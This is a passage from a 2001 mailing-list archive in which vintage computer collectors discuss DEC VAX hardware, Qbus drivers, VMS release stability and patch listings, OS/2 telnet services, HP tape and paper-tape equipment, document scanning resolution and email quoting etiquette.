depends. The mouse and keyboard part are compatible, but I think >DEC had a couple of standards for how to get those signals from the external >peripheral connector into the CPU. You might need a VAXstation II GPX >cable to which you can attach an LK201-ish keyboard (not PS/2) and a DEC >puck mouse (+12V, not +5V supply). That's exactly the cable I intend. It's the D15->3?BNC cable with a wart in the middle for connecting the LK201 and hockey puck. >> Also, is there any chance that the Ethernet is disabled? I read somethiung >> to that effect but don't know how to tell. At least it's got a small chip >> which claims to contain the MAC address. >Ethernet requires a daughter card with the LANCE chip on it. The connector >is built in to the main board, but not the actual ethernet interface. Most >of the VS2000s I've seen had Ethernet, most of the uVAX2000s did not. No >real rule, except how much stuff cost and what the typical DEC customer was >going to use something for. This card is totally bare, lacking any daughter boards. What a shame. >> >I'll trade you a 5380 chip for the uVAX board! No desoldering required! >> >> If only we weren't on separate continents. =) Since it's really my friends, >> he'll take some coercing. >True. I'm just worried that the KA410 board won't survive the desoldering >experience (and the 5380 might not, either!). Some DEC boards do not like >to give up their parts. My friend is experienced. I only wonder if the card will run without that quasi-SCSI chip. -- En ligne avec Thor 2.6a. The most useful program will be continually improved until it is useless. From mjsnodgr at rockwellcollins.com Fri Jun 29 15:19:41 2001 From: mjsnodgr at rockwellcollins.com (mjsnodgr@rockwellcollins.com) Date: Sun Feb 27 19:05:05 2005 Subject: e-mail comments (was: Re: Whats a reasonable collection?) Message-ID: Marvin @classiccmp.org on 06/29/2001 02:44:27 PM Please respond to classiccmp@classiccmp.org Sent by: owner-classiccmp@classiccmp.org To: classiccmp@classiccmp.org cc: Subject: Re: Whats a reasonable collection? Personally, I would rather see a persons comments *above* the quoted material. That way, I read instantly if I am interested rather than have to scroll down. And yes, I am lazy although I would sometimes prefer to call it efficient :). Iggy Drougge wrote: > > Chad Fernandez skrev: > > >What? How am I ruining anybodys quoting? > > Yes, since you put your comments about the quoted material. > > It look like this: > > 4 > >>>1 > >>2 > >3 > > -- > En ligne avec Thor 2.6a. > > Computers are not intelligent. They only think they are. Interesting... the > >>>1 > >>2 > >3 format of e-mail reply is by far considered the "old style" (kind of fitting for a classic computing list) It was the M$ backward'isation (new technical term) of putting replies at the top of an e-mail implimented in Outlook that forced most folks to change. Netscape Communicator used to default to replies/comments at the bottom, but now defaults to the top. (thankfully you can change that for those of use who have relied on e-mail long before e-mail was cool.) And now I'm stuck using bloody Lotus Notes which also defaults to putting my reply at the top, and refuses to insert a > before each line of the original message. - Hmmm... I'm sounding more and more like a crochety old fart. It's noce to be able to read linearly through an e-mail. - Micah S. From mikeford at socal.rr.com Fri Jun 29 15:12:00 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:05 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: >I've got a MCA SCSI controller that I'm not using. It came to me in a box >of MCA and EISA stuff and was working when it was pulled from it's machine. >I was hoping to get an EISA SCSI controller.. Hmmm... if anyone in >interested in a swap.... I have some BusLogic BT-747s/BT-747D SCSI boards, internal has a floppy and 50 pin SCSI ribbon, external has teeny I think 50 pin thing. Not much I can think of I want, mostly odd mac/apple stuff, but I would sell one for $3 and shipping. From ljcst18+ at pitt.edu Fri Jun 29 15:56:11 2001 From: ljcst18+ at pitt.edu (Lucas J Cashdollar) Date: Sun Feb 27 19:05:05 2005 Subject: Franlin pc 8000 Message-ID: Hello, Does anyone know anything about a franklin pc 8000 computer? I sure don't. I was just curious if its worth keeping around. Thanks Luke Cashdollar From cmcmanis at mcmanis.com Fri Jun 29 16:04:50 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:05 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <612.580T2700T11936229optimus@canit.se> References: <3B3C7E7F.A5458419@idirect.com> Message-ID: <5.0.0.25.2.20010629140157.030dbb10@209.185.79.193> At 07:53 PM 6/29/01 +0100, Iggy wrote: >Why would patents in any way be relevant? People have emulated since the >beginning of time, regardless of patents. >In a way, that's how the PC clone business came about. You are mistaken, implementing someone else's patent will get you sued and you will lose and you will pay damages. Especially if the person filing suit can prove you knew about the patent. Very little of the PC was covered by PATENT, much was covered by COPYRIGHT, and COPYRIGHT protects an expression of an idea, not the idea itself. So people who wrote a BIOS in a clean room environment had a new expression of the PC BIOS and that was something they owned, anyone who wants to implement MSCP has to license the patent from Compaq it doesn't matter if they copy a DEC design or do one from scratch. --Chuck From mikeford at socal.rr.com Fri Jun 29 15:57:57 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:05 2005 Subject: Article quoting (was Re: Whats a reasonable collection?) In-Reply-To: <20010629200752.68896.qmail@web9504.mail.yahoo.com> References: <3B3CDA9B.B62280DB@rain.org> Message-ID: >> Personally, I would rather see a persons comments *above* the quoted >> material. That way, I read instantly if I am interested rather than have to >> scroll down. And yes, I am lazy although I would sometimes prefer to call it >> efficient :). > >And _my_ preference is to keep things in chronological order and with the Waaaaa! I miss compuserve and the nice threaded message reader it had (originally, not the later stupid one). From pechter at bg-tc-ppp1506.monmouth.com Fri Jun 29 16:12:06 2001 From: pechter at bg-tc-ppp1506.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:05:05 2005 Subject: Back from the fleamarket In-Reply-To: <2154.580T350T13323903optimus@canit.se> from Iggy Drougge at "Jun 29, 2001 10:12:07 pm" Message-ID: <200106292112.f5TLC6T20557@bg-tc-ppp1506.monmouth.com> > My friend is experienced. I only wonder if the card will run without that > quasi-SCSI chip. > If all he wants is the 5380 -- I recommend using something like a MediaVision ProAudio Spectrum Sound Card as the chip donor. I've got 3 and a Trantor T180 (which I think uses the same chip) available to help save a MicroVax. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp1506.monmouth.com Fri Jun 29 16:19:17 2001 From: pechter at bg-tc-ppp1506.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:05:05 2005 Subject: OS/2 In-Reply-To: <673.580T1100T11884873optimus@canit.se> from Iggy Drougge at "Jun 29, 2001 07:48:22 pm" Message-ID: <200106292119.f5TLJHj20635@bg-tc-ppp1506.monmouth.com> > >> >Getting a prompt and login from Telnet was possible on OS/2 when it > >> >wasn't standard in NT. > >> > >> Possible != standard. > > >Yup... Possible=standard. You just have to enable it in the configs > >and have the services start at boot time. (They even can run out of > >inetd.conf.) > > But was it shipped with a telnet daemon in the box? Yup it shipped with it in c:\tcpip\bin, I think. > And why wouldn't it run out of inetd.conf, isn't that standard behaviour? It would... or you could run it as a detached background job without inetd -- like doing telnetd & IIRC -- all configurable and it could use a Unix like password file... so a little cut and paste and you had telnet and ftp services like a linux box. (and time and echo and all the little TCP/IP servers were there...) > > >OS/2 is pretty slick for an OS that runs Win apps. > > Once again, I beg to differ. > Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From rigdonj at intellistar.net Fri Jun 29 16:48:27 2001 From: rigdonj at intellistar.net (joe) Date: Sun Feb 27 19:05:05 2005 Subject: A little HP9877 info In-Reply-To: <200106291555.f5TFthH73738@daemonweed.reanimators.org> References: Message-ID: <5.1.0.14.1.20010629174454.00a2a680@mailhost.intellistar.net> At 08:55 AM 6/29/01 -0700, Frank wrote: >ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > If the 9815 encoding is idential physically the 9825 one (that is to say, > > a 9815 tape read at the 9825 speed contains the data encoded as above > > with the same frequencies as the 9825 uses) then the 9877 can read it. If > > not, then IMHO it can't. And since the 9815 and 9825 tape controllers are > > very diferent, I think it's unlikely that the 9877 (which uses a > > controller that's essentially the same as the 9825 one) can handle 9815 > > tapes. Pity. > >Here's a snippet from _Mid-Range Calculator Delivers More Power >at Lower Cost_, by Douglas M. Clifford, F. Timothy Hickenlooper, >and A. Craig Mortensen, in the June 1976 HP Journal: > >"...It was determined that a level of performance below that of the >9825A Calculator (see article, page 2) would be adequate, so the >search speed was reduced to 60 ips and the read/write speed to 10 ips. >The recording density was set at 500 bits per inch. Because of these >reduced demands all of the encoding and decoding of the bits can be >done in firmware. Also, a frequency-lock control loop is used for the >motor control instead of a more costly dc servo (more about this >later)." > >Does that give you any clues? Unfortunately I don't think it says >anything about the recording density of the 9825 tapes. FWIW there's a big article in one of the older HP Journals about the tape drive. The article is part of a larger article about one the terminals that used that drive. (I think it was the first HP device to use this type drive.) There may also be details about the drive in the later HP Journal that contained the numerous articles about the 9825. Sorry I don't remember the dates of the two Journals and I don't have time to look them up right now. Joe >-Frank McConnell From ajp166 at bellatlantic.net Fri Jun 29 17:14:49 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:05:05 2005 Subject: Unibus / Qbus bus drivers and receivers Message-ID: <00ab01c100ea$464886b0$4c779a8d@ajp166> From: Chuck McManis >At 09:30 PM 6/28/01 -0700, you wrote: >>Well, the question is "how worried about ringing *should* I be in a >>single backplane configuration if I use bus drivers which have a >>rise/fall time of 9 ns, when the bus spec says that the rise/fall >>time of bus drivers must not be *less* than 10 ns?" >> >>I'm guessing that it will probably be OK, but I really want this >>thing to "work first time" and be reliable so I feel a little >>uncomfortable cutting corners like this right at the outset. > >I take it you are worried about violating the AC spec that reads in part: Generally speaking Qbus is very robust and the design rules are not easily broken nor the bus. Standard devices like LS244 and LS245s work quite fine from expereince. Stick with 74LS or 74L if you have them or can find them. CMOS in the 74HC, HCT and friends however are a bad choice for interfacing the bus, though they may be acceptable in down stream logic. Remember the bus is terminated to avoid pain. Allison From Lee.Davison at merlincommunications.com Fri Jun 29 17:35:26 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:05:05 2005 Subject: preserving / ressurecting old docs? Message-ID: <707AA588EE28D311BCD50090276D7D0007A2AF@BUSH02> Hello, > I'm scanning them in as 100dpi grayscale GIFs, then I will convert to > other format(s) and eventually to PDF. Scanning directly to PDF with > HP's software produces horrible output with compression artifacts. 100dpi is too low a resolution; it is little above monitor screen resolution, Scanning printed material much above 150dpi is usually a waste as most printing is done at about 70dpi. Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call Star Internet for details on the Virus Scanning Service. From ard at p850ug1.demon.co.uk Fri Jun 29 16:20:58 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:05 2005 Subject: WTB: 8" floppy In-Reply-To: <003501c100cc$7e628a00$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 29, 1 12:51:23 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3379 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/c79319c7/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jun 29 16:45:00 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:05 2005 Subject: HP2748A papertape reader : connector ? In-Reply-To: <005301c10138$82f0cca0$7c8953d1@jay> from "Jay West" at Jun 30, 1 02:44:35 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3651 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/c630804d/attachment.ksh From cmcmanis at mcmanis.com Fri Jun 29 17:44:10 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:05 2005 Subject: 'Good' versions of VMS Message-ID: <5.0.0.25.2.20010629153648.02373e40@209.185.79.193> So now that OpenVMS 7.3 for VAX is out I'm hoping that the Montagar folks will do an updated VMS Media disk. If anyone has any contacts with the group that does that I would really like to help out. I'm pretty sure that we could build a pretty painless and much better organized disk than the 7.2 disk is. But that isn't really the point of this message. The point was made on a previous note about a ConDist set that it had VMS 6.0 which wasn't a "good" version of VMS because it was fairly buggy. That made me wonder if we could come to a concensus on what "good" VMS releases were out there? I happen to like VMS 5.5-2H4 which was, I believe, the last release in the 5.x line and thus pretty darn stable. It runs on pretty much every VAX and uses the "Modern" license management facility that the Hobbyiest licenses conform to. There is also a lot of software that runs on "5.5 and above" so that is good too. Finally its the last release that calls itself VAX VMS (rather than OpenVMS) which gives it a wonderful classic like feel. Then there is VMS 6.x, of which I've got images for 6.1 and 6.2 (no 6.0 but I opted to pass on the ConDist as well). Is there a release after 6.2 that sits between it and the 7.x release? Given the shortness between 7.0 and 7.1 I'm going to guess that 7.0 had some serious issues and 7.2 which is running on the VLC cluster seems quite stable. (using a patched UCX). Thoughts? What was the best V4.x release? V3? Does anyone have VMS 1.x and if so what processors does it support? As I recall on the 780 at school it looked a _lot_ like RSX-11M+ :-) --Chuck From ard at p850ug1.demon.co.uk Fri Jun 29 17:35:24 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:05 2005 Subject: A little HP9877 info In-Reply-To: <5.1.0.14.1.20010629174454.00a2a680@mailhost.intellistar.net> from "joe" at Jun 29, 1 05:48:27 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 981 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010629/a1661fda/attachment.ksh From dhquebbeman at theestopinalgroup.com Fri Jun 29 17:48:20 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:05 2005 Subject: MCArchitect (was: Whats reasonable... Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715127E@jeffserver.tegjeff.com> > I put some effort into the Peddle/MCA issue and found nothing yet. > Personally I'd be mildly surprised if an individualist like CP would've > been found at IBM at the time. I checked BYTEs 6/87,7/87 and found > no mention of any architects. In general, IBM did not celebrate the > individual above the team. Few counterexamples: John Cocke, > Benoit Mandlebrot, ? I suppose a specialist could've found out more > at a specialist event line a "Buscon" or the like. Ok, The Chief Architect of IBM's Micro-Channel Architecture was Chet Heath. My bad. -dq From hofmanwb at worldonline.nl Fri Jun 29 08:20:36 2001 From: hofmanwb at worldonline.nl (W.B.(Wim) Hofman) Date: Sun Feb 27 19:05:05 2005 Subject: data migration Message-ID: <20010629225602.09A8E36BCA@pandora.worldonline.nl> Enrico A crude but effective way is to connect a PC to a serial line of the DPS6. Dump whatever you have to dump to the serial line in HEX or oct format. Run a VT100 emulator on the PC and log whatever you receive to disk. Write a small program to convert the log file to the original information. The dumping process may take days, but you could start it on Friday afternoon and collect the data on Monday morning. Wim ---------- From: Enrico Naso To: classiccmp@classiccmp.org Subject: data migration Date: Thursday, June 28, 2001 7:53 PM J need to migrate data from a 3M DC600A Data Cartridge(60Mb) backed up from an internal tape onto a Honeywell Bull DPS6-Plus to any PC-compatible media-support. This means Floppy, Zip, cd-rom, ecc.) thank for your attention Enrico Naso From lemay at cs.umn.edu Fri Jun 29 18:04:27 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:05:05 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2AF@BUSH02> Message-ID: <200106292304.SAA15774@caesar.cs.umn.edu> > Hello, > > > I'm scanning them in as 100dpi grayscale GIFs, then I will convert > to > > other format(s) and eventually to PDF. Scanning directly to PDF > with > > HP's software produces horrible output with compression artifacts. > > 100dpi is too low a resolution; it is little above monitor screen > resolution, > > Scanning printed material much above 150dpi is usually a waste as most > printing is done at about 70dpi. > > Lee. What are you smoking, and is there enough for the rest of us? 600 Dpi with resolution enhancement is very old technology for laserprinters these days. True 1200 is preferred, though the 600 is still very good of course. If you can manage it, i would say scan at 600 Dpi. Thats what i try to do when possible. Though 300 often results in fairly good quality text. IE, scanning at 1/2 the target printer resolution is probably the best you can hope for. -Lawrence LeMay From cisin at xenosoft.com Fri Jun 29 18:53:30 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:05:06 2005 Subject: WTB: 8" floppy In-Reply-To: Message-ID: On Fri, 29 Jun 2001, Tony Duell wrote: > One 'nasty' relates to the Archive Sidewinder, a QIC tape cartridge > drive. This thing has a 4 pin power connector identical to the ones on > 5.25" floppy drives, etc). Ground on the middle 2 pins, +5V where you'd > expect it, too. But the other outside pin is +24V, not +12V. I am told > that some Suns used this drive and had a special power cable for it > carrying the right voltages. Get then mixed up when assembling the > machine, and you might plug +24V into a hard disk expecting +12V. The > results, apparently, are not pleasant. Another similar nasty: I have a 3.25" drive that uses the same connector as a 3.5" drive, except that the +5 and +12 pins are reversed! Fortunately, the 3" drives that I have use the same connector and pinout as 5.25". (which seems to be standardized) -- Grumpy Ol' Fred cisin@xenosoft.com From claudew at videotron.ca Fri Jun 29 19:03:07 2001 From: claudew at videotron.ca (Claude.W) Date: Sun Feb 27 19:05:06 2005 Subject: Anybody interested in these : CBM 8023P (IEEE) printer and AES7100 (Lanier dedicated WP) Message-ID: <00a001c100f8$0a9dfce0$0200a8c0@gamerclaude> Hi all from Montreal... I recently got a very nice fully equipped (docs, software, disks, manuals, cables etc...) SuperPet. Private original owner. A-1 condition. It came with a 8023P (IEEE) printer, I dont have a lot of space for this printer...So anyone wants this (just the printer!), I am ready to let it go for anything slightly interesting in return...There is also the manual and a spare ribbon (brand new) for the printer Also, I have decided to let go my minty AES7100 dedicated WP. Its in extra clean shape and boots with the 2 hard sectored floppy disks that were in it when I got it. This thing is one piece odd looking machine :monitor, drives and cpu...it would have to be taken apart and shipped in several boxes. There is the very slight chance that I might be going to VCF east....very slight...If you dont know what a AES7100 looks like look here: http://www.total.net/~hrothgar/museum/AES7100/ ....not mine but identical...mine works and the machine boots... I am mostly collecting non x86 home/hobby machines, also looking for semi recent SGI or Sun stuff to play with.... I am posting here because I dont use ebay to buy or sell and these will likely go to garbage soon if no takers. Thanks Claude http://www.members.tripod.com/computer_collector From dittman at dittman.net Fri Jun 29 18:58:57 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:06 2005 Subject: 'Good' versions of VMS In-Reply-To: <5.0.0.25.2.20010629153648.02373e40@209.185.79.193> from "Chuck McManis" at Jun 29, 2001 03:44:10 PM Message-ID: <200106292358.f5TNwvU19934@narnia.int.dittman.net> > So now that OpenVMS 7.3 for VAX is out I'm hoping that the Montagar folks > will do an updated VMS Media disk. If anyone has any contacts with the > group that does that I would really like to help out. I'm pretty sure that > we could build a pretty painless and much better organized disk than the > 7.2 disk is. I know David Cathey. I'll ask him what the plan is for the next version. > But that isn't really the point of this message. The point was made on a > previous note about a ConDist set that it had VMS 6.0 which wasn't a "good" > version of VMS because it was fairly buggy. That made me wonder if we could > come to a concensus on what "good" VMS releases were out there? I'd say the good ones are the ones which you can get reasonable prior version support for the V5.x and later versions. For the earlier versions, probably the last version in the series, which any MUPs loaded. > I happen to like VMS 5.5-2H4 which was, I believe, the last release in the > 5.x line and thus pretty darn stable. It runs on pretty much every VAX and > uses the "Modern" license management facility that the Hobbyiest licenses > conform to. There is also a lot of software that runs on "5.5 and above" so > that is good too. Finally its the last release that calls itself VAX VMS > (rather than OpenVMS) which gives it a wonderful classic like feel. Either V5.5-2 or -2H4. The "H" releases were mostly just extra hardware support. > Then there is VMS 6.x, of which I've got images for 6.1 and 6.2 (no 6.0 but > I opted to pass on the ConDist as well). Is there a release after 6.2 that > sits between it and the 7.x release? Given the shortness between 7.0 and > 7.1 I'm going to guess that 7.0 had some serious issues and 7.2 which is > running on the VLC cluster seems quite stable. (using a patched UCX). There wasn't a follow-up to V6.2 except for "H" releases. For V7.x, 7.2 is very stable. I'm still testing V7.3. > Thoughts? What was the best V4.x release? V3? Does anyone have VMS 1.x and > if so what processors does it support? As I recall on the 780 at school it > looked a _lot_ like RSX-11M+ :-) The first releases of VMS had a lot of compatibility-mode programs. For anyone that's interested, here's the versions that Compaq is still offering on-line patches: ncftp /vms/vax > dir drwxr-xr-x 7 0 0 512 Feb 29 2000 v5.0 drwxr-xr-x 6 0 0 512 Feb 29 2000 v5.0-1 drwxr-xr-x 6 0 0 512 Feb 29 2000 v5.0-2 drwxr-xr-x 8 0 0 512 Feb 29 2000 v5.1 drwxr-xr-x 7 0 0 512 Feb 29 2000 v5.1-1 drwxr-xr-x 3 0 0 512 Feb 28 2000 v5.1-b drwxr-xr-x 9 0 0 1024 Feb 29 2000 v5.2 drwxr-xr-x 8 0 0 1024 Feb 29 2000 v5.2-1 drwxr-xr-x 2 0 0 512 Feb 29 2000 v5.2-2hf drwxr-xr-x 16 0 0 1024 Feb 29 2000 v5.3 drwxr-xr-x 12 0 0 1024 Feb 29 2000 v5.3-1 drwxr-xr-x 12 0 0 1024 Feb 29 2000 v5.3-2 drwxr-xr-x 29 0 0 1536 Feb 29 2000 v5.4 drwxr-xr-x 26 0 0 2048 Feb 29 2000 v5.4-1 drwxr-xr-x 26 0 0 2048 Feb 29 2000 v5.4-2 drwxr-xr-x 29 0 0 2048 Feb 29 2000 v5.4-3 drwxr-xr-x 49 0 0 3584 Feb 29 2000 v5.5 drwxr-xr-x 46 0 0 3584 Feb 29 2000 v5.5-1 drwxr-xr-x 81 0 0 12800 Jun 28 00:32 v5.5-2 drwxr-xr-x 58 0 0 11776 Jun 28 00:32 v5.5-2h4 drwxr-xr-x 3 0 0 512 Mar 29 1999 v5.5-2-h4 drwxr-xr-x 18 0 0 5632 Jun 28 00:32 v5.5-2hf drwxr-xr-x 11 0 0 1024 Jun 28 00:32 v5.5-2hw drwxr-xr-x 70 0 0 9216 Oct 25 2000 v6.0 drwxr-xr-x 91 0 0 15360 Jun 28 00:32 v6.1 drwxr-xr-x 3 0 0 512 Feb 29 2000 v6.1-1h1 drwxr-xr-x 3 0 0 512 Feb 29 2000 v6.1-1h2 drwxr-xr-x 75 0 0 16384 Jun 28 05:31 v6.2 drwxr-xr-x 15 0 0 1024 Jun 28 00:32 v6.2-0hf drwxr-xr-x 3 0 0 512 Feb 29 2000 v6.2-1h1 drwxr-xr-x 3 0 0 512 Feb 29 2000 v6.2-1h2 drwxr-xr-x 3 0 0 512 Feb 10 1999 v6.2-1h3 drwxr-xr-x 56 0 0 8704 Jun 28 00:32 v7.0 drwxr-xr-x 50 0 0 10752 Jun 28 05:31 v7.1 drwxr-xr-x 27 0 0 4096 Jun 28 05:31 v7.2 drwxr-xr-x 3 0 0 512 Jul 11 2000 v7.2-1 drwxr-xr-x 3 0 0 512 May 9 22:31 v7.2-2 drwxr-xr-x 3 0 0 512 Jun 28 00:33 v7.3 ncftp /vms/axp > dir drwxr-xr-x 9 0 0 512 Feb 29 2000 v1.0 drwxr-xr-x 24 0 0 2560 Feb 29 2000 v1.5 drwxr-xr-x 13 0 0 2048 Feb 29 2000 v1.5-1h1 drwxr-xr-x 10 0 0 512 Feb 29 2000 v6.0 drwxr-xr-x 79 0 0 17920 Jan 24 01:30 v6.1 drwxr-xr-x 39 0 0 15360 Jan 24 01:30 v6.1-1h1 drwxr-xr-x 39 0 0 15360 Jan 24 01:30 v6.1-1h2 drwxr-xr-x 5 0 0 512 Feb 29 2000 v6.1-1h3 drwxr-xr-x 80 0 0 20992 Jun 28 00:33 v6.2 drwxr-xr-x 3 0 0 512 May 1 22:30 v6.2-1 drwxr-xr-x 44 0 0 17920 Jun 28 00:33 v6.2-1h1 drwxr-xr-x 43 0 0 17408 Jun 28 00:33 v6.2-1h2 drwxr-xr-x 42 0 0 17408 Jun 28 00:33 v6.2-1h3 drwxr-xr-x 61 0 0 10752 Jun 28 00:33 v7.0 drwxr-xr-x 57 0 0 13824 Jun 28 00:33 v7.1 drwxr-xr-x 46 0 0 13312 Jun 28 00:33 v7.1-1h1 drwxr-xr-x 40 0 0 12288 Jun 28 00:33 v7.1-1h2 drwxr-xr-x 9 0 0 11776 Jun 18 22:30 v7.1-2 drwxr-xr-x 38 0 0 8192 Jun 28 00:33 v7.2 drwxr-xr-x 22 0 0 12800 Jun 28 02:30 v7.2-1 drwxr-xr-x 14 0 0 10752 Jun 29 00:31 v7.2-1h1 drwxr-xr-x 4 0 0 512 May 9 01:31 v7.2-2 drwxr-xr-x 6 0 0 1536 Jun 28 02:31 v7.3 These were pulled from ftp.service.digital.com using a DSNLINK account. Note that V7.2-1 and -2 were not actually released for the VAX. For the V7.x-y releases, the -y revisions are only released for the Alpha. -- Eric Dittman dittman@dittman.net From rcini at optonline.net Fri Jun 29 19:07:38 2001 From: rcini at optonline.net (Richard A. Cini, Jr.) Date: Sun Feb 27 19:05:06 2005 Subject: 65xx Chips still available Message-ID: Hello, all: I know that some sources for these chips are drying up and the 02 and 22 are only available in quantity from CMS. Well, I've been contact with Rockwell and it seems that their Conexant spinoff (the old Rockwell Semiconductor) still manufactures 65xx-series chips. I haven't contacted their distributor yet to find out quantities, etc. but I'll report back when I have more information. Rich Rich Cini Collector of classic computers Build Master for the Altair32 Emulation Project Web site: http://highgate.comm.sfu.ca/~rcini/classiccmp/ /************************************************************/ From west at tseinc.com Sat Jun 30 07:14:17 2001 From: west at tseinc.com (Jay West) Date: Sun Feb 27 19:05:06 2005 Subject: HP2748A papertape reader : connector ? References: Message-ID: <002b01c1015e$307349a0$7c8953d1@jay> Tony wrote.... > Most of the time, the jumper board is what is needed, though. Philips, > the DEC 3rd party interfae I mentioned, Fluke, etc all expect to be > talking to a punch fitted with just the jumper board. I have no idea if > the HP mini you mentioned does as well. and also > What is the HP interface card? A jumper board, or something more interesting? Several items of note.... The facit 4070 punch, when used on an HP 2100 or 21mx M/E/F system is called (rebadged) an HP 2895B. It's entirely possible that the 4070 was used on other later (different architecture, non 21MX) HP's with a completely different interface and thus those might very well use the standard 4070 jumper board when used with the non 21mx hp systems. When used on 2100&21mx systems, the 4070 is fitted with a board that is not a simple jumper board. The HP-oriented board inside the 4070 was definitely a full lenth board, and there were electronics on it. A very sparse set as I recall, it could be hobbiest-made quite easily. I think a handfull of transistors and perhaps a few caps. If you're curious, I can pull the card out and photograph it for you. It's definitely not "UART-ish". Jay West From rdd at smart.net Fri Jun 29 19:34:45 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:05:06 2005 Subject: Article quoting (was Re: Whats a reasonable collection?) In-Reply-To: <20010629200752.68896.qmail@web9504.mail.yahoo.com> Message-ID: On Fri, 29 Jun 2001, Ethan Dicks wrote the following words of wisdom: > And _my_ preference is to keep things in chronological order and with the > new comments interspersed for context. Oh, yeah, and with the irrelevant > stuff *not* quoted. Agreed. I remember when there was a time when careless, clueless, bandwidth and time wasters on Usenet were flamed to a crisp for not doing this. The lines of text that were irrelevant were replaced with a single "[...]". Also, severe flamage would also result when those blasted careless, clueless, people would fail to properly quote the names of those whose words they were replying to. What do you think, do we need to go back to using severe flamage in order to correct this problem? The flames weren't attempts at being nasty; they were merely a very fast method of education. :-) > Unfortunately, this is the style of yester-year, of 1200-baud UUCP feeds However. it still works well, and produces messages that make sense. > and old Usenet. None of this is easy to do with MicroSloth products. Nothing useful is easy to do with Micro$loth products. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From optimus at canit.se Fri Jun 29 18:43:04 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:06 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3CDA9B.B62280DB@rain.org> Message-ID: <624.581T200T433777optimus@canit.se> Marvin skrev: >Personally, I would rather see a persons comments *above* the quoted >material. That way, I read instantly if I am interested rather than have to >scroll down. And yes, I am lazy although I would sometimes prefer to call it >efficient :). By all means, personally. Personally, I would like an addition to the constitution saying that all old micros are sent to me. That's not the way the constitution or netiquette behave, though. IOW, comply or die. -- En ligne avec Thor 2.6a. G? med i SUGA, Swedish Usergroup of Amiga! WWW: http://swedish.usergroup.amiga.tm/ BBS: 08-6582572, telnet://sua.ath.cx:42512 From optimus at canit.se Fri Jun 29 20:04:48 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:06 2005 Subject: Unibus / Qbus bus drivers and receivers In-Reply-To: <5.0.0.25.2.20010629140157.030dbb10@209.185.79.193> Message-ID: <1226.581T2400T1246337optimus@canit.se> Chuck McManis skrev: >At 07:53 PM 6/29/01 +0100, Iggy wrote: >>Why would patents in any way be relevant? People have emulated since the >>beginning of time, regardless of patents. >>In a way, that's how the PC clone business came about. >You are mistaken, implementing someone else's patent will get you sued and >you will lose and you will pay damages. Ah yes, I suppose that's why people file patents. >Especially if the person filing >suit can prove you knew about the patent. Very little of the PC was covered >by PATENT, much was covered by COPYRIGHT, and COPYRIGHT protects an >expression of an idea, not the idea itself. So people who wrote a BIOS in a >clean room environment had a new expression of the PC BIOS and that was >something they owned, anyone who wants to implement MSCP has to license the >patent from Compaq it doesn't matter if they copy a DEC design or do one >from scratch. So, what makes MSCP so particular that it may be patented? And how come people can write emulators and clones all over the place? Haven't Intel or Motorola patents on their processors? -- En ligne avec Thor 2.6a. Vi m?ste vara r?dda om varandra - det ?r det enda reciproka pronomen vi har. From optimus at canit.se Fri Jun 29 20:09:09 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:06 2005 Subject: OS/2 In-Reply-To: <200106292119.f5TLJHj20635@bg-tc-ppp1506.monmouth.com> Message-ID: <1215.581T450T1294343optimus@canit.se> Bill Pechter skrev: >> >> >Getting a prompt and login from Telnet was possible on OS/2 when it >> >> >wasn't standard in NT. >> >> >> >> Possible != standard. >> >> >Yup... Possible=standard. You just have 